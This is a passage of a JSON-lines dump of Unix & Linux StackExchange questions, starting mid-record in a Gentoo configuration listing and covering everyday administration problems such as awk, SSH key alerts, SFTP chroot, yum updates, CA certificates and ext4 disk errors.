/etc/gentoo-release /etc/revdep-rebuild /etc/sandbox.d /etc/terminfo /etc/texmf/language.dat.d /etc/texmf/language.def.d /etc/texmf/updmap.d /etc/texmf/web2c\" CXXFLAGS=\"-O2 -pipe\" DISTDIR=\"/usr/portage/distfiles\" FCFLAGS=\"-O2 -pipe\" FEATURES=\"assume-digests binpkg-logs ccache config-protect-if-modified distlocks ebuild-locks fixlafiles merge-sync news parallel-fetch preserve-libs protect-owned sandbox sfperms strict unknown-features-warn unmerge-logs unmerge-orphans userfetch userpriv usersandbox usersync\" FFLAGS=\"-O2 -pipe\" GENTOO_MIRRORS=\"http://mirrors.sohu.com/gentoo/ http://mirrors.163.com/gentoo/\" LANG=\"en_US.UTF-8\" LDFLAGS=\"-Wl,-O1-Wl,--as-needed\" MAKEOPTS=\"-j5\" PKGDIR=\"/usr/portage/packages\" PORTAGE_CONFIGROOT=\"/\" PORTAGE_RSYNC_OPTS=\"--recursive --links --safe-links --perms --times --omit-dir-times --compress --force --whole-file --delete --stats --human-readable --timeout=180 --exclude=/distfiles --exclude=/local --exclude=/packages\" PORTAGE_TMPDIR=\"/var/tmp\" PORTDIR=\"/usr/portage\" PORTDIR_OVERLAY=\"/usr/local/portage\" USE=\"X a52 aac acl acpi alsa amd64 avx bash-completion berkdb bluetooth branding bzip2 cairo cdda cjk cli cracklib crypt cxx dbus declarative dri dts dvd dvdr emboss encode exif fam firefox flac fortran gdbm gif iconv icu jpeg kde kipi lcms libnotify lm_sensors mad mmx mmxext mng modules mp3 mp4 mpeg multilib ncurses nls nptl nvidia ogg opengl openmp pam pango pcre pdf phonon plasma png policykit ppds pulseaudio python qt3support qt4 readline sdl semantic-desktop session spell sqlite sse sse2 sse4_1 sse4_2 ssl ssse3 startup-notification svg systemd tcpd threads tiff truetype udev udisks unicode upower usb v4l vim-syntax vorbis wxwidgets x264 xcb xcomposite xinerama xml xscreensaver xv xvid zlib\" ABI_X86=\"64\" ALSA_CARDS=\"ali5451 als4000 atiixp atiixp-modem bt87x ca0106 cmipci emu10k1x ens1370 ens1371 es1938 es1968 fm801 hda-intel intel8x0 intel8x0m maestro3 trident usb-audio via82xx via82xx-modem ymfpci\" APACHE2_MODULES=\"authn_core authz_core socache_shmcb unixd actions alias auth_basic authn_alias authn_anon authn_dbm authn_default authn_file authz_dbm authz_default authz_groupfile authz_host authz_owner authz_user autoindex cache cgi cgid dav dav_fs dav_lock deflate dir disk_cache env expires ext_filter file_cache filter headers include info log_config logio mem_cache mime mime_magic negotiation rewrite setenvif speling status unique_id userdir usertrack vhost_alias\" CALLIGRA_FEATURES=\"kexi words flow plan sheets stage tables krita karbon braindump author\" CAMERAS=\"ptp2\" COLLECTD_PLUGINS=\"df interface irq load memory rrdtool swap syslog\" ELIBC=\"glibc\" GPSD_PROTOCOLS=\"ashtech aivdm earthmate evermore fv18 garmin garmintxt gpsclock itrax mtk3301 nmea ntrip navcom oceanserver oldstyle oncore rtcm104v2 rtcm104v3 sirf superstar2 timing tsip tripmate tnt ublox ubx\" GRUB_PLATFORMS=\"pc\" INPUT_DEVICES=\"evdev synaptics\" KERNEL=\"linux\" LCD_DEVICES=\"bayrad cfontz cfontz633 glk hd44780 lb216 lcdm001 mtxorb ncurses text\" LIBREOFFICE_EXTENSIONS=\"presenter-console presenter-minimizer\" OFFICE_IMPLEMENTATION=\"libreoffice\" PHP_TARGETS=\"php5-5\" PYTHON_SINGLE_TARGET=\"python2_7\" PYTHON_TARGETS=\"python2_7 python3_3\" RUBY_TARGETS=\"ruby19 ruby20\" USERLAND=\"GNU\" VIDEO_CARDS=\"intel nvidia\" XTABLES_ADDONS=\"quota2 psd pknock lscan length2 ipv4options ipset ipp2p iface geoip fuzzy condition tee tarpit sysrq steal rawnat logmark ipmark dhcpmac delude chaos account\" Unset: CPPFLAGS, CTARGET, EMERGE_DEFAULT_OPTS, INSTALL_MASK, LC_ALL, PORTAGE_BUNZIP2_COMMAND, PORTAGE_COMPRESS, PORTAGE_COMPRESS_FLAGS, PORTAGE_RSYNC_EXTRA_OPTS, SYNC, USE_PYTHON"} {"_id": "80143", "title": "How to create a daemon which would be listening to dbus and fire script on message", "text": "I want to create a daemon, which would fire up a shell script in the background every time I unlock the screen on my ubuntu. I managed to create such script according to answer to related question: run-script-on-screen- lock-unlock. And it works well in terminal window. But now I want to create a daemon from that and I didn't get any luck yet. Any suggestions?"} {"_id": "80147", "title": "awk can't print array element", "text": "Lets sat my file1 is: A S B Q file2 is: B 2 I want to match $1 from file2 with $1 file1 and print file1 $2 && file2 $2, for the output like this: Q 2 My `awk` solution is: awk 'NR==FNR {a[$1]=$1$2;next} $1 in a {print $2, a[$2]}' file2 file1 And it gives me only `Q` - it doesn't print array's second element. How can I print array's element? **Edit** I updated my question as the answer that works for dummy example doesn't work with my actual data. f1 chr2 47558199 ENSG00000236824.1 chr2 47558199 ENSG00000236824.1 chr2 47558199 ENSG00000236824.1 f2 ENSG00000236824.1 AAAAAAA I want to match `f2 $1` with `f1 $3` and print `f1 $0` plus `f2 $2` I tried this answer `awk 'NR==FNR {a[$1]=$2;next} $3 in a {print $0, a[$1]}' f2 f1`, but still not getting the output I want. `awk` code above gets me only this: chr2 47558199 ENSG00000236824.1 chr2 47558199 ENSG00000236824.1 chr2 47558199 ENSG00000236824.1"} {"_id": "124568", "title": "Tightvnc server on debian closes the connection when I open a program", "text": "I installed TightVNC server on my Debian Wheezy machine. I'm using KDE. I'm able to connect to the server, but as soon as I click on any icon on the desktop of the server, the client loses the connection, and if I try to reconnect the server refuses the connection. What could be wrong?"} {"_id": "10378", "title": "How do I encrypt git on my server?", "text": "Heres the closest I've gotten: I installed gitolite in the `/Private` folder using `ecryptfs-utils` (`sudo apt-get install ecryptfs-utils` `adduser git` `ecryptfs-setup-private` then the rest was configuring gitolite using a root install). It worked just fine as long as someone was logged in as the user `git` using a password (`su git` using root does not work). Since the private folder activates through logging in with a password and gitolite uses RSA keys (required) the private folder is hidden thus error occurs. Is there a way I can log into my server after a reboot, type in the password and have the git user private folder available until next time the machine restarts? Or maybe theres an easy way to encrypt a folder for git repositories?"} {"_id": "10350", "title": "Will there be third party compositing with Gnome 3, or will it be limited?", "text": "Will we still be able to use Compiz?"} {"_id": "10352", "title": "Where can I find the source code of \"GFileInfo\" functions like \"g_file_info_get_content_type\"?", "text": "I want to read the source code of a GFileInfo function: g_file_info_get_content_type ( GFileInfo *info ); Could somebody tell me where to find the source code file? I search the glibc code by didn't found the functions. These function are introduced in this link: http://library.gnome.org/devel//gio/2.26/GFileInfo.html"} {"_id": "10353", "title": "Where can I find the source code of libgio?", "text": "I want to study how its GFileInfo components works."} {"_id": "86149", "title": "update failure in CentOS", "text": "I am using CentOS 6.4 .while I am doing package updating i am getting these errors. please help me to resolve those issues. file /usr/lib/libpostproc.so.52 conflicts between attempted installs of ffmpeg-libs-0.10.7-1.el6.i686 and ffmpeg-libs_1.1-1.1.5-2.el6.i686 file /usr/lib/libswresample.so.0 conflicts between attempted installs of ffmpeg-libs-0.10.7-1.el6.i686 and ffmpeg-libs_1.1-1.1.5-2.el6.i686 file /usr/lib/libswscale.so.2 conflicts between attempted installs of ffmpeg-libs-0.10.7-1.el6.i686 and ffmpeg-libs_1.1-1.1.5-2.el6.i686"} {"_id": "128788", "title": "Why doesn't my loop over the output of ls work?", "text": "I am trying to feed Directory names into a for loop. My code is as follows: td='/Test/TopDir/' cd \"$td\" for x in $(ls -d */ | cut -f1 -d'/'); do echo x=$x done The top directory I run this on looks like this when running an ls command: ls -l drwxrwxrwx 4 Jason users 4096 May 6 06:36 2014-02-02 - Jebby ( drwxrwxrwx 3 Jason users 4096 May 6 06:09 2014-02-04 - Jebby ( drwxrwxrwx 2 root root 4096 May 6 06:09 @eaDir -rw-r--r-- 1 Jason users 3956225 Jan 26 10:17 DSC01062.JPG -rw-r--r-- 1 Jason users 3927603 Jan 26 10:18 DSC01063.JPG The results of my for loop is as follows: x=2014-02-02 x=- x=Jebby x=( x=2014-02-04 x=- x=Jebby x=( x=@eaDir As you can see the for loop is breaking the directory names into sub-pieces after each space. In this example I only want the For Loop to execute three time with the three directories: 1. 2014-02-02 - Jebby ( 2. 2014-02-04 - Jebby ( 3. @eaDir What am I doing wrong?"} {"_id": "6259", "title": "Are there any apps that will post to multiple social networking accounts at once?", "text": "I currently use Ping.fm to post to multiple social networks at once, but it's been irritating me for a while and I'm thinking of writing a tool to replace it for myself. But I figure it's possible that someone has already done that. To be a suitable replacement it needs to handle twitter, and facebook; myspace, linkedin, and google buzz are a bonus, of course everything else is frosting. In addition to allowing _me_ to send messages it must also be able to read multiple rss feeds and aggregate them to the networks I set up. If 2 or more tools, in conjunction can be made to do this that is also acceptable, e.g. `feedreader | cleanupforstream | post2stream`. If it doesn't exist I think I'll just write some Perl to do it for me, and put it on CPAN."} {"_id": "122932", "title": "Denying \"/opt/\" access for SFTP Users other than particular dir", "text": "This is my first (newbie) post here in unix stackexchange. I want to use my WebServer (Debian) as SFTPServer giving access to particular employees. The dir structure is as follows under root: `/FTPUSERS/UserName_1`, ... `/FTPUSERS/UserName_N`. My website is under as usually `/opt/lampp/htdocs/SiteName`. I want my employees to only access the dir `/FTPUSERS` and not others, by any means of using via console-SSH/ GUI-FTPClients. Is the `chroot`ing right way to block them for not **navigating** to other dirs? Or is there any other way for blocking them? Please let me know. One more small doubt has arisen regarding file and folder permissions regarding the `LAMPP`. At present the user and group under /opt/lampp/htdocs/ are all `root and root`. In this link php.net its mentioned that directories must run under `nobody and nobody`. Is this the right way of permission setting ? Kindly clarify my points. Thank you... **EDIT** : My OS is Debian Lenny 3. The daemon running at present is the `openssh- sftpserver`. We've blocked the port-21 for ftp access. But sftp is running still under port-22. Employee can login via `sftp and ssh` on Terminal. We want to block the Console mode operating for particular users, only webmaster and root accounts must have all the access. We also want to block users from navigating outside of the `/FTPUSERS` dir using any GUI FTP Clients such as WinSCP."} {"_id": "122935", "title": "How to make local system CA certificates known to Firefox?", "text": "Recently, the CAcert root certificates have been removed from Debian (more precisely, from the `ca-certificates` package). Since I want to keep them, I backed up the directory /usr/share/ca-certificates/cacert.org/ containing two `.crt` files before the upgrade and copied it to /usr/local/share/ca-certificates/cacert.org/ afterwards. Then I ran `update-ca-certificates`: # update-ca-certificates Updating certificates in /etc/ssl/certs... 2 added, 0 removed; done. Running hooks in /etc/ca-certificates/update.d.... Adding debian:cacert.org_class3.pem Adding debian:cacert.org_root.pem done. done. It looks like all went well. However, Firefox (Iceweasel) still refuses certificates signed by CAcert as untrusted. Is there anything I missed? Do I have to do something special to make Firefox actually re-read the system certificates?"} {"_id": "122937", "title": "grep --byte-offset doesn't give me the bytes offset?", "text": "I run grep -b --byte-offset 'EXTH' Agent_of_Change.mobi but I only get \"Binary file Agent_of_Change.mobi matches\". How can I get the bytes offset instead?"} {"_id": "122936", "title": "Not able to view server-status", "text": "My application is deployed on ROOT folder in tomcat and it is connected to apache using proxy. Ex:- ProxyPass / ajp://192.168.0.xx:8011/ ProxyPassReverse / ajp://192.168.0.xx:8011/ When I fire http://test.com/server-status it gives blank page and I receive below error in access.log MY IP - - [03/Apr/2014:17:09:48 +0530] \"GET /server-status HTTP/1.1\" 404 - \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.102 Safari/537.36\" But if I deploy my application on Other directory say Test in tomcat and using below proxy setting in apache ProxyPass /Test ajp://192.168.0.xxx:8011/Test ProxyPassReverse /Test ajp://192.168.0.xxx:8011/Test/ And now if i hit the url: http://test.com/server-status then it shows me the server page with status of server. Below is my server-status configuration SetHandler server-status Order deny,allow Satisfy any Allow from all Please let me know how to use server-status with deploying application as ROOT in tomcat."} {"_id": "6252", "title": "What is yum equivalent of 'apt-get update'?", "text": "Debian's `apt-get update` fetches and updates the package index. Because I'm used to this way of doing things, I was surprised to find that `yum update` does all that **and** upgrades the system. This made me curious of how to update the package index without installing anything."} {"_id": "6257", "title": "How come I don't have package updates in Fedora?", "text": "I last updated my Fedora 14 install weeks ago, so I expected a slew of new packages waiting for me, but after I run `yum update`, I instead get: ... Setting up Update Process No Packages marked for Update **update** : `rpm -qi sudo` gives version **1.7.4p4** `yum -v repolist` gives: Loading \"langpacks\" plugin Loading \"presto\" plugin Loading \"refresh-packagekit\" plugin Adding en_US to language list Config time: 0.074 Yum Version: 3.2.28 Setting up Package Sacks pkgsack time: 0.174 Repo-id : fedora Repo-name : Fedora 14 - i386 Repo-revision: 1287926872 Repo-tags : binary-i386 Repo-distro-tags: [cpe:/o:fedoraproject:fedora:14]: rawhide Repo-updated : Sun Oct 24 15:44:32 2010 Repo-pkgs : 17,883 Repo-size : 20 G Repo-metalink: https://mirrors.fedoraproject.org/metalink?repo=fedora-14&arch=i386 Updated : Sun Oct 24 15:44:32 2010 Repo-expire : 604,800 second(s) (last: Thu Jan 13 20:00:21 2011) Repo-id : updates Repo-name : Fedora 14 - i386 - Updates Repo-revision: 1295548217 Repo-tags : binary-i386 Repo-updated : Thu Jan 20 21:32:10 2011 Repo-pkgs : 4,500 Repo-size : 7.2 G Repo-metalink: https://mirrors.fedoraproject.org/metalink?repo=updates-released-f14&arch=i386 Updated : Thu Jan 20 21:32:10 2011 Repo-expire : 21,600 second(s) (last: Thu Jan 13 20:00:49 2011) repolist: 22,383"} {"_id": "6255", "title": "How to access network without NetworkManager?", "text": "If I don't have NetworkManager installed on Debian, I edit \" **/etc/network/interfaces** \" and then run `ifup eth0`. I see that things are different in Fedora 14 (the directory and the command aren't available). How do I do it?"} {"_id": "152676", "title": "lpr ignores options specified by -o", "text": "When submitting a text file to a printer (HP Color LaserJet 4650) from a Debian 8/`openbox` system, the `-p` or `-o prettyprint` option is ignored. Printing the same file from a MacOS X system produces a document with proper `-p` formatting. I am trying to identify the source of the problem on the linux system. A question posted elsewhere noted that placement of the characters `/*` at the beginning of the file could resolve problems with the `-p` option, but this had no effect in my situation. I doubt, but do not exclude, the possibility of a bug in the edition of `CUPS` packaged with Debian 8. Alternatively, the source could be an absent or incorrect printer driver. How can the failure to use the `-p` option be explained? What firmware, software, configuration files, etc should be checked? **Edit 1:** I should note that in addition Unix-style newline characters (`\\n`) are ignored by the printer and must be replaced by Windows-style newline characters (`\\r\\n`) by, e.g., `awk 'sub(\"$\", \"\\r\")'`. This suggests that the underlying issue may relate to the printer driver, since the printer apparently expects `\\r\\n` whereas `lpr` sends documents with `n` alone. **Edit 2:** The problem seems more general than originally indicated. Several other options (`-o landscape`, `-o scaling=100`) are also ignored for text or postscript files. While I haven't exhaustively tried all `lpr` options, it seems safe to conclude that the entire set of available options is being ignored."} {"_id": "42995", "title": "Send an email any time an SSH key is used", "text": "I have about 30 nearly-identical CentOS 6 servers that I need to be able to push out updated config files automatically using an rsa key to log in as root. Usually this will just be rsync, but sometimes might have to run commands on the servers, so it needs ssh too. Since this will be run as a script to update all 30 servers, I don't want to have a passphrase on the key. I have that part all working fine. I created the rsa key, added it to authorized_keys for root, so I can ssh or rsync to the servers without needing to type a password. I have authorized_keys set to only accept the key from a single hostname, which should make this setup relatively secure. However, I'm still not totally comfortable with it, so would like to set it up to send an email to our shared tech mailbox every time this key is used. There's lots of times that I'll be logging into these servers as myself, and su'ing to give myself root. This is fine, and don't want to spam the tech mailbox every time one of us logs in. I only want to get the emails when the SSH key is used. Here's what I have so far, on server1[through 30].example.com: cat /root/.ssh/authorized_keys from=\"pusher.example.com\",environment=\"SSHKEY=1\" ssh-rsa AAAAB3NzaIwAAAxetcetc== root@pusher tail -n 3 /root/.bash_profile if [[ \"${SSHKEY}\" == \"1\" ]] ; then echo 'Either we are getting hacked, or somebody used the SSH key on pusher to push something out to ' `hostname` ' at ' `date` | mail -s \"WARNING - ROOT SSH KEY USED ON `hostname`!\" techs@example.com fi This works perfectly for SSH - If I putty in as myself and run su to get root, I don't get the email, but if I log into pusher, and run: ssh -i /root/.ssh/server1.pri server1.example.com I get an email. The problem is pushing files. If I run either of: scp -i /root/.ssh/server1.pri /tmp/file.txt server1.example.com:/tmp/ rsync -e 'ssh -i /root/.ssh/server1.pri' /tmp/test.txt server1.example.com:/tmp/ I still don't get the email. Is there a way, rather than relying on bash_profile, to set this up to send an email any time the key is used, for anything? (Or alternatively, only if it's used for scp or rsync, and I'll restrict the key to only run those?)"} {"_id": "42994", "title": "How to prevent arp-scan from writing to syslog?", "text": "I am using arp-scan in a bash script to verify that a host is reachable. I have the script setup as a cron job that runs every minute and /var/log/syslog is filling up with the arp-scan output. I have tried -q and --quiet and I don't see that it has any effect on the command line output or the syslog messages. Is this flag broken on arp-scan 1.6? Is there another way to prevent the syslog messages? I realize it isn't the end of the world (it's only two lines every minute), but I would rather not see it in there, if possible. The following lines appear in /var/log/syslog and /var/log/messages: Jul 16 08:28:01 debian arp-scan[9428]: Starting: arp-scan 192.168.1.1 -I eth0 Jul 16 08:28:01 debian arp-scan[9428]: Ending: 1 hosts scanned in 0.150 seconds (6.67 hosts/sec). 1 responded Jul 16 08:28:01 debian arp-scan[9440]: Starting: arp-scan 192.168.1.6 -I eth0 Jul 16 08:28:02 debian arp-scan[9440]: Ending: 1 hosts scanned in 0.165 seconds (6.06 hosts/sec). 1 responded Here is the cron line for my script: * * * * * root /root/monitor ## Update I tried both appending both > /dev/null and 2>&1 /dev/null and neither stopped the arp-scan output. ## Solution Placed the following filter in /etc/rsyslog.conf: # # Don't log arp-scan output # :programname, isequal, \"arp-scan\" ~"} {"_id": "42996", "title": "Validate Password for user account from shell script", "text": "Application is for a multiple server standardization script Looking for a way in a shell script to check if the password for an OS account (AIX) matches a standardized plain text password. The catch is that there is no `root` access, no `c` compiler or `python` , and I cannot install any additional software including `expect`. So far I have not been able to find a solution...any ideas?"} {"_id": "109663", "title": "How to hide files from Bash?", "text": "On the Git Bash shell on Windows, I'm stuck looking at crap left by Windows in my home directory: NTUSER.DAT NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms Is there any way of hiding the files from the shell? Any way to make Bash ignore certain files or files that match a certain regex (without having to create kludgey aliases for `ls`, `grep`, and every other command that lists files in some way/shape/fashion)? They are already hidden from Windows Explorer, so I'm doubtful that anything done on the Windows side of things will have any effect."} {"_id": "125056", "title": "Why VMware DHCP persists getting offline?", "text": "I am trying to set up a SSH server in my remote machine which is running Windows 7 on it currently. So first I set up a Oracle VirtualBox but it did not work for me properly. Then I decided to go with VMware instead of dealing with the problems of the VirtualBox. I installed VMware, installed an Ubuntu Virtual Machine inside. It is now working like a charm. But I have a problem. It gets disconnected after a while. As you can see below, it is disconnected. And it can get started to work properly again only if I switch manually to Vmnet8 and back to vmnet0 again. In the end (after performing the switching process) It takes a random Subnet address everytime it gets connected. My problem is I need to have always the same Subnet address everytime I get connected and set the system so that it never gets disconnected. So that I connect to the machine via SSH using putty without getting into settings and port forwarding processes and everything at everytime that I need to connect. ![Problem Screnshot](http://i.stack.imgur.com/RAIxc.png)"} {"_id": "125054", "title": "leds-pwm driver in linux 3.8", "text": "I am using custom board based on beaglebone black. I am trying to enable leds- pwm driver in Linux 3.8 version. But Kconfig says the driver `depends on HAVE_PWM` config, I am not able to see that configuration anywhere. After spending some time i think linux3.8(or atleast linux3.8 from TI) doesn't support led-pwm driver. has any one tried to enabled leds-pwm driver in Linux3.8 ? how to enable it ? Any suggestions ? I am trying to enable driver config in following path in menuconfig \"Device Drivers -> LED Supports -> PWM driven LED Support\". Any pointers/suggestions will help. Thank you in advance!"} {"_id": "125050", "title": "Building Snapwm on FreeBSD (Problem of gcc and clang)?", "text": "According to FreeBSD, from version 10 they use Clang/LLVM instead of gcc. on the surface of it all things should perform as been before even better. but I have faced this reality more than I want to. Some codes can't be compiled this way. For example I tried to compile Snapwm. First native FreeBSD `make` is actually `pmake` and that is out of the question. So `gmake` is our choice. but issuing `gmake` on the code will produce this error: gcc -g -std=c99 -pedantic -Wall -O2 -pipe -fstack-protector --param=ssp-buffer-size=4 -D_FORTIFY_SOURCE=2 -c -o snapwm.o snapwm.c gmake: gcc: Command not found gmake: *** [snapwm.o] Error 127 So the question becomes how to compile the code that suffers from these set backs."} {"_id": "834", "title": "Best way to do full disk encryption?", "text": "I have got a bit lost and am not sure which technology to choose for full disk encryption. It is hard to tell if the information out there is still up to date. Is there a current best practice solution for this?"} {"_id": "838", "title": "Weekly cron job to save list of installed packages", "text": "I am having trouble figuring out how to set up my first cron job. I simply want to run this command once every week: dpkg -l > ~/Dropbox/installed_packages My `/etc/crontab` file contains the line 7 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) So I need to place my command somewhere in the directory /etc/cron.weekly - but in which file? `/etc/cron.weekly` currently contains the following files: apt-xapian-index man-db 0anacron cvs"} {"_id": "87575", "title": "How do I repair malformed Banshee database?", "text": "My laptop ended up getting unplugged and powered off while Banshee was importing media files. When I turned it back on and logged into my linux mint 15 I tried to open banshee but got a fatal error. I completely removed banshee using package manager then rebooted. I then used software manager to reinstall Banshee but when i tried to open it I got the same fatal error. > Fatal Error Details: > > An unhandled exception was thrown: Sqlite error 11: database disk image is > malformed (SQL: SELECT COUNT(*) FROM CoreTracks)"} {"_id": "134114", "title": "How do I pass a variable from my local server to a remote server?", "text": "I am trying to pass a variable from my local server (location1) to a remote server (location2). The purpose of the code is to copy a file from the remote server from a predefined location. In simpler terms, I want to copy files from location2 to location1 using a predefined path where location1 is on the local server and location2 is a remote server. See the code segment: $location1=somewhere/on/local_server $location2=somewhere/on/remote_server sshpass -p \"password\" \\ ssh username@74.11.11.11 'su -lc \"cp -r $location2 $location1\";' The error I get is that both $location1 and $location2 are undefined. Also, I DON'T want to manually type the location paths because they could change at any time and it would be a pain to change them in the code if done manually."} {"_id": "45340", "title": "Why can't I run this C program?", "text": "I'm trying to run my first \"process\" program, but I get the following error : ./fork.c: line 4: syntax error near unexpected token `(' ./fork.c: line 4: `int main()' I'm pretty sure that the code is correct: #include #include int main() { pid_t pid; printf(\"Hello fork()\\n\"); switch(pid=fork()) { case -1: printf(\"Error by fork().....\\n\"); exit(0); case 0: printf(\"I'm the child process \\n\"); break; default: printf(\"I'm the dad \\n\"); break; } exit(0); } What is wrong?"} {"_id": "134117", "title": "What are the effects of increasing hard and soft limits for ldap user", "text": "I've been having some instability issues with my LDAP server. I have ~2000 machines connecting to it. Using `netstat -pant | grep slapd`, I can typically see 1500+ connections from the clients to the server at any given moment. But every so often, the connection count drops to zero. At that point the clients start having problems with jobs that rely on LDAP. I have to restart slapd on the LDAP server to get it to start accepting connections again. Sometime I have to restart the ldap daemon on the clients too. I've been told by a vendor that I need to increase the hard and soft nofile limits for the LDAP user so that it can accept more connections. Current settings: ldap@myldapserver:~> ulimit -Hn 8192 ldap@myldapserver:~> ulimit -Sn 4500 The vendor suggests 65000 hard and 16000 soft. ldap soft nofile 16000 ldap hard nofile 65000 This seems like a pretty dramatic increase and I can't help but wonder if this will have any adverse effects on the server. The LDAP server is a single purpose server. Should I be worried?"} {"_id": "88560", "title": "Should I change SSD?", "text": "Demsg shows this EXT4-fs error (device sda1): ext4_ext_get_blocks: inode #7743113: (comm flush-8:0) bad extent address iblock: 3503, depth: 1 pblock 0 EXT4-fs (sda1): delayed block allocation failed for inode 7743113 at logical offset 3503 with max blocks 1 with error -5 This should not happen!! Data will be lost EXT4-fs error (device sda1): ext4_ext_get_blocks: inode #7743113: (comm flush-8:0) bad extent address iblock: 3509, depth: 1 pblock 0 EXT4-fs (sda1): delayed block allocation failed for inode 7743113 at logical offset 3509 with max blocks 2 with error -5 This should not happen!! Data will be lost EXT4-fs error (device sda1): ext4_ext_get_blocks: inode #7743113: (comm flush-8:0) bad extent address iblock: 3513, depth: 1 pblock 0 EXT4-fs (sda1): delayed block allocation failed for inode 7743113 at logical offset 3513 with max blocks 1 with error -5 This should not happen!! Data will be lost EXT4-fs error (device sda1): ext4_ext_get_blocks: inode #7743113: (comm flush-8:0) bad extent address iblock: 3519, depth: 1 pblock 0 EXT4-fs (sda1): delayed block allocation failed for inode 7743113 at logical offset 3519 with max blocks 1 with error -5 This should not happen!! Data will be lost EXT4-fs error (device sda1): ext4_ext_get_blocks: inode #7743113: (comm flush-8:0) bad extent address iblock: 3525, depth: 1 pblock 0 EXT4-fs (sda1): delayed block allocation failed for inode 7743113 at logical offset 3525 with max blocks 1 with error -5 This should not happen!! Data will be lost EXT4-fs error (device sda1): ext4_ext_get_blocks: inode #7743113: (comm flush-8:0) bad extent address iblock: 3528, depth: 1 pblock 0 EXT4-fs (sda1): delayed block allocation failed for inode 7743113 at logical offset 3528 with max blocks 1 with error -5 This should not happen!! Data will be lost possible SYN flooding on port 80. Sending cookies. EXT4-fs error (device sda1): ext4_ext_get_blocks: inode #7743113: (comm flush-8:0) bad extent address iblock: 3529, depth: 1 pblock 0 EXT4-fs (sda1): delayed block allocation failed for inode 7743113 at logical offset 3529 with max blocks 3 with error -5 This should not happen!! Data will be lost Also I can't do a lot with the disk. Simple commands like fails root@host [/home1]# rm -rf cprestore rm: cannot remove `cprestore/home4/site/public_html/hello/cache/site.com/http%3A%2F%2Fsite.com%2Fh%2F20019%2Fszh%2F%25E6%25B1%2589%25E5%258F%25A3%25E4%25B8%25AD%25E5%258D%258E%25E5%2585%25A8%25E5%259B%25BD%25E6%2580%25BB%25E5%25B7%25A5%25E4%25BC%259A%25E6%2597%25A7%25E5%259D%2580': Input/output error rm: cannot remove `cprestore/home4/site/public_html/hello/cache/site.com/http%3A%2F%2Fsite.com%2Ft%2Ffoo%2Fszh%2F%25D7%25A7%25D7%2598%25D7%2592%25D7%2595%25D7%25A8%25D7%2599%25D7%2594%3A%25D7%2590%25D7%2595%25D7%25A0%25D7%2599%25D7%2595%25D7%25AA_%25D7%259E%25D7%25A2%25D7%25A4%25D7%2599%25D7%259C%25D7%2599%25D': Input/output error rm: cannot remove `cprestore/home4/site/public_html/hello/cache/site.com/http%3A%2F%2Fsite.com%2Fp%2F%25E9%259F%25A9%25E6%2588%2590%25E7%258F%25A0%25E4%25B8%258D%25E9%259B%2585%25E8%25A7%2586%25E9%25A2%2591%25E5%25AE%258C%25E6%2595%25B4%25E7%2589%2588%2Fszh%2F1': Input/output error My fstab is like this: # # /etc/fstab # Created by anaconda on Wed Nov 1 00:29:46 2000 # # Accessible filesystems, by reference, are maintained under '/dev/disk' # See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info # UUID=9fac7ae7-9948-4612-88dc-e652fc4ceb73 / ext4 defaults 1 1 UUID=1daa52c7-a5da-464d-a4c7-2ee19ef017af /boot ext3 defaults 1 2 UUID=12649fb1-fd53-4558-8a2a-79692ada8b19 swap swap defaults 0 0 tmpfs /dev/shm tmpfs defaults 0 0 devpts /dev/pts devpts gid=5,mode=620 0 0 sysfs /sys sysfs defaults 0 0 proc /proc proc defaults 0 0 /usr/tmpDSK /tmp ext3 defaults,noauto 0 0 /dev/sda1 /home1 auto auto,noatime,defaults 0 2 /dev/sdb1 /home2 auto auto,noatime,defaults 0 2 /dev/sdc1 /home3 auto auto,noatime,defaults 0 2 As you see I check every reboot My provider said he did some fchk and now it's running again. However, it's been happening several time. Each time it happens it costs me a lot. I wonder if this is hardware or sotware?"} {"_id": "45348", "title": "Use DD-WRT to auto WOL when traffic is on same subnet", "text": "So i've seen the WOL scripts and they seem like they could work well when i'm trying to connect from a computer that is outside my router. Script i'm using: http://www.dd- wrt.com/wiki/index.php/Useful_Scripts#Web_Server_Wake-up Now the problem that i see is that when ever i'm home the WOL script will be useless because the initiating computer and the server are on the same subnet so the router will not log the request. Is there a way to have the router log the requests that are sent between two computers inside its network? I'm not very knowledgeable when it comes to network structure but i don't know if this is possible. Do i need to somehow proxy all my traffic through my router? For explanation here is what i'm trying to do: I have my home server that serves up SMB, AFP, HTTP(s), and a few other web applications. I would like the server to be sleeping when its not being accessed period. So if something outside the network requests HTTP access i want the server to wake up. If a computer on the local subnet requests a SMB share i want the server to wake up. Can anyone help a noob out? Things to note: I have an Ubuntu server. All machines that are on the local network are directly connected to the router. I have one hub that some machines are connected to but all traffic should be going through the router. EDIT: Just had a thought. What if i put the server in question on a separate VLAN and allowed for communication between the VLAN through the router. Then the traffic would have to go through the firewall and i could log the traffic there. Would anyone know how to set up such a system?"} {"_id": "134119", "title": "A messagebox keeping popping up in my centos VNC server asking to change proxy settings?", "text": "I have included a screenshot of what it looks like. It keeps appearing and in the morning you to close it 50 times. Could you please help me identify where the problem lies? **NOTE:** It's CentOs 6 with tigervnc. ![The prompt](http://i.stack.imgur.com/Dp8rw.png) ### EDIT Here is the `ps -eaf` is at the bottom. This is the detail pane: ![Details](http://i.stack.imgur.com/bsELs.png) UID PID PPID C STIME TTY TIME CMD root 1 0 0 15:05 ? 00:00:00 /sbin/init root 2 0 0 15:05 ? 00:00:00 [kthreadd] root 3 2 0 15:05 ? 00:00:00 [migration/0] root 4 2 0 15:05 ? 00:00:00 [ksoftirqd/0] root 5 2 0 15:05 ? 00:00:00 [migration/0] root 6 2 0 15:05 ? 00:00:00 [watchdog/0] root 7 2 0 15:05 ? 00:00:00 [migration/1] root 8 2 0 15:05 ? 00:00:00 [migration/1] root 9 2 0 15:05 ? 00:00:00 [ksoftirqd/1] root 10 2 0 15:05 ? 00:00:00 [watchdog/1] root 11 2 0 15:05 ? 00:00:00 [migration/2] root 12 2 0 15:05 ? 00:00:00 [migration/2] root 13 2 0 15:05 ? 00:00:00 [ksoftirqd/2] root 14 2 0 15:05 